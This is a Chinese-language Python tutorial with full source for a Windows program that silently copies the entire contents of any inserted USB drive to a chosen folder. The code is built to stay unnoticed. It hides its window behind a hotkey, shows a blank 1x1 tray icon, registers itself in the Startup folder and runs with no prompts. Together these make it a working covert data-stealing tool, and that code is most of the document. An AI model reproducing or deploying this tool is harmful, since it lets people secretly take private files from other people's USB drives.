使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝
更新時間:2025年02月05日 10:08:11 作者:mosquito_lover1
這篇文章主要為大家詳細介紹了如何使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝,即當電腦上有U盤插入時自動復制U盤內(nèi)的所有內(nèi)容,希望對大家有所幫助
功能
當電腦上有U盤插入時,自動復制U盤內(nèi)的所有內(nèi)容
主要特點
1、使用PyQt5創(chuàng)建圖形界面,但默認隱藏
2、通過Ctrl+Alt+U組合鍵可以顯示/隱藏界面
3、自動添加到Windows啟動項
4、監(jiān)控USB設備插入
5、按修改時間排序復制文件
6、靜默運行,無提示
7、自動跳過無法復制的文件
8、配置文件保存目標路徑
使用說明
1、首次運行時,按Ctrl+Alt+U顯示界面
2、點擊"選擇目標文件夾"按鈕設置保存位置
3、設置完成后可以關閉界面,程序會在后臺運行
4、插入U盤后會自動復制內(nèi)容到指定文件夾
靜默界面
實現(xiàn)代碼
import os import sys import time import json import shutil import ctypes from ctypes import wintypes import win32file import win32api import win32con import win32gui import win32com.client import pythoncom import win32event import winerror from datetime import datetime from threading import Thread from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon) from PyQt5.QtCore import Qt, QTimer, QEvent from PyQt5.QtGui import QIcon, QPixmap class USBCopyTool(QMainWindow): def __init__(self): super().__init__() self.config_file = 'config.json' self.target_path = self.load_config() self.init_ui() self.setup_system_tray() self.setup_hotkey() # 添加窗口事件過濾器 self.installEventFilter(self) # 啟動USB監(jiān)控線程 self.monitor_thread = Thread(target=self.monitor_usb, daemon=True) self.monitor_thread.start() def init_ui(self): self.setWindowTitle('USB自動復制工具') self.setGeometry(300, 300, 400, 200) central_widget = QWidget() self.setCentralWidget(central_widget) layout = QVBoxLayout() self.path_label = QLabel(f'當前目標路徑: {self.target_path}') layout.addWidget(self.path_label) select_btn = QPushButton('選擇目標文件夾') select_btn.clicked.connect(self.select_target_path) layout.addWidget(select_btn) central_widget.setLayout(layout) self.hide() def setup_system_tray(self): self.tray_icon = QSystemTrayIcon(self) # 創(chuàng)建一個1x1的空白圖標而不是完全沒有圖標 blank_icon = QIcon() blank_icon.addPixmap(QPixmap(1, 1)) self.tray_icon.setIcon(blank_icon) self.tray_icon.show() def setup_hotkey(self): # 注冊全局熱鍵 (Ctrl+Alt+U) self.hot_key_id = 1 try: win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U')) except Exception as e: print(f"熱鍵注冊失敗: {e}") def nativeEvent(self, eventType, message): try: if eventType == "windows_generic_MSG": msg = wintypes.MSG.from_address(message.__int__()) if msg.message == win32con.WM_HOTKEY: if self.isVisible(): self.hide() else: self.show() return True, 0 except Exception as e: print(f"事件處理錯誤: {e}") return False, 0 def load_config(self): try: with open(self.config_file, 'r') as f: config = json.load(f) return config.get('target_path', '') except: return '' def save_config(self): with open(self.config_file, 'w') as f: json.dump({'target_path': self.target_path}, f) def select_target_path(self): path = QFileDialog.getExistingDirectory(self, '選擇目標文件夾') if path: self.target_path = path self.path_label.setText(f'當前目標路徑: {self.target_path}') self.save_config() def monitor_usb(self): drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) print(f"初始驅(qū)動器: {drives_before}") while True: try: drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) new_drives = drives_now - drives_before if new_drives: print(f"檢測到新驅(qū)動器: {new_drives}") for drive in new_drives: drive_type = win32file.GetDriveType(drive) print(f"驅(qū)動器 {drive} 類型: {drive_type}") if drive_type == win32con.DRIVE_REMOVABLE: print(f"開始復制U盤 {drive} 內(nèi)容") self.copy_usb_contents(drive) drives_before = drives_now time.sleep(1) except Exception as e: print(f"監(jiān)控錯誤: {e}") time.sleep(1) def copy_usb_contents(self, drive): if not self.target_path: print("未設置目標路徑") return # 獲取U盤卷標名稱 try: volume_name = win32api.GetVolumeInformation(drive)[0] # 如果U盤沒有卷標名稱,則使用盤符 if not volume_name: volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') # 替換非法字符 volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|') except Exception as e: print(f"獲取卷標名稱失敗: {e}") volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') target_folder = os.path.join(self.target_path, volume_name) print(f"復制到目標文件夾: {target_folder}") if not os.path.exists(target_folder): os.makedirs(target_folder) # 獲取所有文件并按修改時間排序 all_files = [] try: for root, dirs, files in os.walk(drive): print(f"掃描目錄: {root}") for file in files: file_path = os.path.join(root, file) try: mtime = os.path.getmtime(file_path) all_files.append((file_path, mtime)) except Exception as e: print(f"無法獲取文件信息: {file_path}, 錯誤: {e}") continue except Exception as e: print(f"掃描目錄失敗: {e}") all_files.sort(key=lambda x: x[1], reverse=True) print(f"找到 {len(all_files)} 個文件") # 復制文件 for file_path, _ in all_files: try: rel_path = os.path.relpath(file_path, drive) target_path = os.path.join(target_folder, rel_path) target_dir = os.path.dirname(target_path) if not os.path.exists(target_dir): os.makedirs(target_dir) print(f"復制文件: {file_path} -> {target_path}") shutil.copy2(file_path, target_path) except Exception as e: print(f"復制失敗: {file_path}, 錯誤: {e}") continue def eventFilter(self, obj, event): if obj is self and event.type() == QEvent.WindowStateChange: if self.windowState() & Qt.WindowMinimized: # 延遲執(zhí)行隱藏操作,避免界面閃爍 QTimer.singleShot(0, self.hide) # 恢復窗口狀態(tài),這樣下次顯示時是正常狀態(tài) self.setWindowState(Qt.WindowNoState) return True return super().eventFilter(obj, event) def add_to_startup(): try: startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') script_path = os.path.abspath(sys.argv[0]) shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk') shell = win32com.client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut(shortcut_path) shortcut.Targetpath = script_path shortcut.WorkingDirectory = os.path.dirname(script_path) shortcut.save() except Exception as e: print(f"添加到啟動項失敗: {e}") if __name__ == '__main__': # 確保只運行一個實例 mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None sys.exit(0) add_to_startup() app = QApplication(sys.argv) tool = USBCopyTool() sys.exit(app.exec_())
以上就是使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝的詳細內(nèi)容,更多關于Python U盤數(shù)據(jù)拷貝的資料請關注腳本之家其它相關文章!